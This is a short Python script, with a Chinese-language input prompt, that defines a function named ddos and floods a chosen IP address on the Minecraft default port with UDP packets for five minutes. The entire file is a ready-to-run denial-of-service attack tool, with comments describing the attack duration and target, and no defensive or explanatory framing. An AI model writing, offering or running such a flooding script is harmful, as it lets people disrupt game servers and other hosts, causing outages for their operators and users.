import socket
import time

def ddos(target_ip, target_port, duration):
    # Create a UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Send packets indefinitely
    duration = time.time() + duration
    while time.time() < duration:
        # Send UDP packets to the target IP and port
        sock.sendto(b"Hello", (target_ip, target_port))

if __name__ == "__main__":
    # Fill in the target server's IP address and port, as well as the attack duration
    target_ip = input("目标服务器IP : ")
    target_port = 25565  # Minecraft default port
    attack_duration = 300  # Attack duration (seconds)
    ddos(target_ip, target_port, attack_duration)